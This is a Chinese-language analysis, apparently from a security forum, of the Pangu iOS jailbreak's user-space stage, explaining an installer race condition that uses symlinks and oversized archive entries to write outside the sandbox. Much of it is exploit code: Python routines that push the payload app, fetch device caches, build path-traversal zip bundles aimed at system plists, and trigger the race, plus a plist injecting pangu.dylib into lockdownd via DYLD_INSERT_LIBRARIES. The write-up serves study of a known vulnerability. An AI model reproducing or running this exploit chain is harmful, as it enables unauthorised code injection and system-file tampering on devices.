盘古在用户空间主要利用了iOS安装程序的一个漏洞，这里先列出安装一个应用的主要过程：

整个安装过程分为12个阶段，上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间，在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外，就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表，在起始处放一个大文件，从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞，后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。

盘古主要由四部分组成，：
1、桌面程序：提供资源，控制越狱流程。
2、com.pangu.ipa1.ipa：Socket Server，与桌面程序配合制造竞态条件。
3、pangu.dylib，Socket Server，利用内核漏洞安装Untecher，Cydia等。
4、pangu.tar，Untecher
这里主要涉及的是前两个组件，及第三个组件中用户空间相关的部分。

def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
 
    file_name = "com.pangu.ipa1.ipa"
    afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())
    mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get("PercentComplete")
        if completion:
            print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])
        if status.get("Status") == "Complete":
            print "Installation %s\n" % status["Status"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources(["Caches"])
    fc.stop_session()
    if data:
        file_path = "./payload/caches.gz"
        output_path = "./payload/caches"
        open(file_path,"wb").write(data)
        print  "Data saved to:  %s " % file_path
        with open(file_path, "r") as f:
            gz = gzip.GzipFile(mode="rb", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print "Fail to get caches"
        raise Exception("Fail to get caches")

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }

def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile("./payload/upgrade1.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
        payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")
        payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")
        payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")
 
def generate_upgrade_bundle2():
    # os.remove("./payload/upgrade2.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade2.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")

def generate_upgrade_bundle3():
    # os.remove("./payload/upgrade3.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade3.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
    sock = get_sock()
    print "----->PING"
    sock.send("PING")
    msg = sock.recv(4)
    if msg == "PONG":
        print "<-----PONG\n"
    upgrade_pangu(mci, file_name)
    print "----->starthook"
    sock.send("starthook")
    msg = sock.recv(4)
    if msg == "succ":
        print "<-----success\n"
    else:
        print "<-----fail\n"

[培训]内核驱动高级班，冲击BAT一流互联网大厂工 作，每周日13:00-18:00直播授课